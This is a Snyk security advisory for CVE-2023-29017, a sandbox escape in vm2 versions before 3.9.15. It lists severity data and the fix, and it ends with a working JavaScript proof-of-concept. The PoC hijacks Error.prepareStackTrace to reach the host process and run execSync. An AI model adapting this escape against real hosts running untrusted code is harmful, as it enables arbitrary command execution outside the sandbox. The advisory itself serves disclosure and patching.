Sandbox Escape Affecting vm2 package, versions <3.9.15


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
4.34% (93rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-VM2-5415299
  • published6 Apr 2023
  • disclosed6 Apr 2023
  • creditKAIST WSP Lab

Introduced: 6 Apr 2023

CVE-2023-29017  (opens in a new tab)
CWE-265  (opens in a new tab)

How to fix?

Upgrade vm2 to version 3.9.15 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Escape due to improper handling of host objects passed to Error.prepareStackTrace in case of unhandled async errors.

PoC

const {VM} = require("vm2");
let vmInstance = new VM();

const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
};
(async ()=>{}).constructor('return process')()
`

vmInstance.run(code);

CVSS Scores

version 3.1